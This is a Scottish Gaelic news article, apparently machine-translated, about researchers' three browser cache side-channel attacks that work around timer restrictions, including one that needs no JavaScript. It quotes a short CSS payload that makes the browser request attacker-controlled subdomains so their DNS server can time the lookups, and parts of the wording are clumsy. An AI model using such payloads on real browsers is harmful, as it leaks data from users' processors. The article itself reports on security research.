Ionnsaigh toirt a-mach tasgadan CPU air a chuir an gnìomh ann am brobhsair lìn às aonais JavaScript

Tha sgioba de luchd-rannsachaidh bho ghrunn oilthighean Ameireagaidh, Israel agus Astràilia air trì ionnsaighean a leasachadh a ruitheas air brobhsairean lìn gus fiosrachadh a tharraing a-mach mu na tha ann an tasgadan a’ phròiseasar. Bidh aon dòigh ag obair ann am brobhsairean às aonais JavaScript, agus bidh an dà dhòigh eile a’ dol seachad air dòighean dìon a th’ ann an-aghaidh ionnsaighean taobh-seanail, a’ toirt a-steach an fheadhainn a thathas a’ cleachdadh ann am brobhsair Tor agus DeterFox. Tha an còd airson na h-ionnsaighean a thaisbeanadh, a bharrachd air na pàirtean frithealaiche a tha riatanach airson na h-ionnsaighean, air am foillseachadh air GitHub.

Gus mion-sgrùdadh a dhèanamh air susbaint an tasgadan, bidh a h-uile ionnsaigh a’ cleachdadh an dòigh Prime + Probe, a tha a’ toirt a-steach a bhith a’ lìonadh an tasgadan le seata luachan àbhaisteach agus a’ lorg atharrachaidhean le bhith a’ tomhas an ùine inntrigidh dhaibh nuair a bhios iad gan ath-lìonadh. Gus faighinn seachad air na h-innealan tèarainteachd a tha an làthair ann am brobhsairean a tha a’ cur bacadh air tomhas ùine ceart, ann an dà roghainn, thèid ath-thagradh a dhèanamh gu frithealaiche DNS no WebSocket fo smachd an neach-ionnsaigh, a chumas clàr de ùine nan iarrtasan a gheibhear. Ann an aon sgeadachadh, thèid ùine freagairt DNS stèidhichte a chleachdadh mar iomradh ùine.

Bha tomhasan a chaidh a dhèanamh a’ cleachdadh frithealaichean DNS taobh a-muigh no WebSocket, a’ cleachdadh siostam seòrsachaidh stèidhichte air ionnsachadh innealan, gu leòr gus luachan a ro-innse le cruinneas suas ri 98% anns an t-suidheachadh as fheàrr (cuibheasach 80-90%). Chaidh na dòighean ionnsaigh a dhearbhadh air diofar àrd-ùrlaran bathar-cruaidh (Intel, AMD Ryzen, Apple M1, Samsung Exynos) agus tha iad air dearbhadh gu bheil iad uile-choitcheann.

Ionnsaigh toirt a-mach tasgadan CPU air a chuir an gnìomh ann am brobhsair lìn às aonais JavaScript

Bidh a’ chiad tionndadh de ionnsaigh DNS Racing a’ cleachdadh buileachadh clasaigeach den dòigh Prime + Probe a’ cleachdadh arrays JavaScript. Bidh na h-eadar-dhealachaidhean a’ tighinn sìos gu bhith a’ cleachdadh timer stèidhichte air DNS bhon taobh a-muigh agus inneal-làimhseachaidh onerror, a tha air a phiobrachadh nuair a thathar a’ feuchainn ri dealbh a luchdachadh bho àrainn nach eil ann. Leigidh timer taobh a-muigh ionnsaigh Prime + Probe air brobhsairean a chuireas casg air no a chuireas casg air ruigsinneachd air timers JavaScript.

Airson frithealaiche DNS a tha suidhichte air an aon lìonra Ethernet, thathas a’ meas gu bheil cruinneas an timer timcheall air 2 ms, a tha gu leòr airson ionnsaigh taobh-seanail a dhèanamh (airson coimeas a dhèanamh, tha cruinneas an timer àbhaisteach JavaScript ann am Brabhsair Tor. air a lughdachadh gu 100 ms). Airson an ionnsaigh, chan eil feum air smachd air an t-seirbheisiche DNS, leis gu bheil ùine cur an gnìomh na h-obrach air a thaghadh gus am bi an ùine freagairt bhon DNS mar chomharradh gun deach an t-seic a chrìochnachadh na bu thràithe (a rèir an deach an inneal-làimhseachaidh mearachd a bhrosnachadh nas tràithe no nas fhaide air adhart, thèid co-dhùnadh a dhèanamh mu astar an obrachaidh seic leis an tasgadan).

Tha an dàrna dòigh ionnsaigh, "String and Sock", ag amas air dòighean tèarainteachd a sheachnadh a chuireas casg air cleachdadh ìrean ìosal de arrays ann an JavaScript. An àite arrays, bidh String and Sock a’ cleachdadh obrachaidhean air teudan glè mhòr, agus tha am meud air a thaghadh gus am bi an caochladair a’ còmhdach an tasgadan LLC gu lèir (tasg ìre mu dheireadh). An ath rud, a’ cleachdadh a’ ghnìomh indexOf() , thathas a’ sgrùdadh fo-thalamh beag anns an t-sreang, a tha neo-làthaireach an toiseach anns an t-sreang stòr, i.e. bidh an obair sgrùdaidh ag ath-aithris thairis air an t-sreang gu lèir. Leis gu bheil meud na loidhne a’ freagairt ri meud tasgadan LLC, leigidh an sganadh leat gnìomhachd sgrùdaidh tasgadan a dhèanamh gun a bhith a’ làimhseachadh nan arrays. Gus dàil a thomhas, an àite DNS, thèid fios a chuir gu frithealaiche WebSocket a tha fo smachd an neach-ionnsaigh - ro agus às deidh an obair sgrùdaidh a chrìochnachadh, thèid ceistean a chuir a-steach don loidhne, stèidhichte air am bi an frithealaiche a ’tomhas an dàil a chaidh a chleachdadh gus an tasgadan a sgrùdadh. susbaint.

Tha an treas tionndadh den ionnsaigh “CSS PP0” air a chuir an gnìomh tro HTML agus CSS, agus faodaidh e obrachadh ann am brobhsairean le JavaScript ciorramach. Tha an dòigh coltach ri "String and Sock", ach chan eil e ceangailte ri JavaScript. Rè an ionnsaigh, thèid seata de luchd-taghaidh CSS a chruthachadh a nì sgrùdadh le masg. Tha a’ chiad sreang mhòr a lìonas an tasgadan air a shuidheachadh le bhith a’ cruthachadh taga div le ainm clas glè mhòr. Taobh a-staigh tha seata de divs eile leis na h-aithnichearan aca fhèin. Tha a stoidhle fhèin aig gach aon de na divs neadachaidh sin le roghnaichear a bhios a’ lorg fo-sreang. Nuair a bhios tu a’ toirt seachad duilleag, bidh am brabhsair an-toiseach a’ feuchainn ris na divs a-staigh a phròiseasadh, a thig gu gnìomhachd sgrùdaidh air sreath mhòr. Tha an sgrùdadh air a dhèanamh le bhith a’ cleachdadh masg a chaidh a dhìth a dh’aona ghnothach agus a’ leantainn gu ath-aithris thairis air an loidhne gu lèir, às deidh sin tha an suidheachadh “chan eil” air a phiobrachadh agus thathas a ’feuchainn ri dealbh cùil a luchdachadh a’ toirt iomradh air raointean air thuaiream: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Bidh frithealaiche DNS an neach-ionnsaigh a’ frithealadh subdomains, a dh’ fhaodas dàil ann a bhith a’ faighinn iarrtasan a thomhas. Bidh am frithealaiche DNS a’ cur a-mach NXDOMAIN airson a h-uile iarrtas agus a’ cumail loga den dearbh àm iarrtasan. Mar thoradh air a bhith a 'giollachd seata de divs, bidh frithealaiche DNS an neach-ionnsaigh a' faighinn sreath de dh'iarrtasan, agus tha an dàil eadar sin co-cheangailte ri toradh a bhith a 'sgrùdadh susbaint an tasgadan.

Ionnsaigh toirt a-mach tasgadan CPU air a chuir an gnìomh ann am brobhsair lìn às aonais JavaScript


Source: fosgailtenet.ru

Cuir beachd ann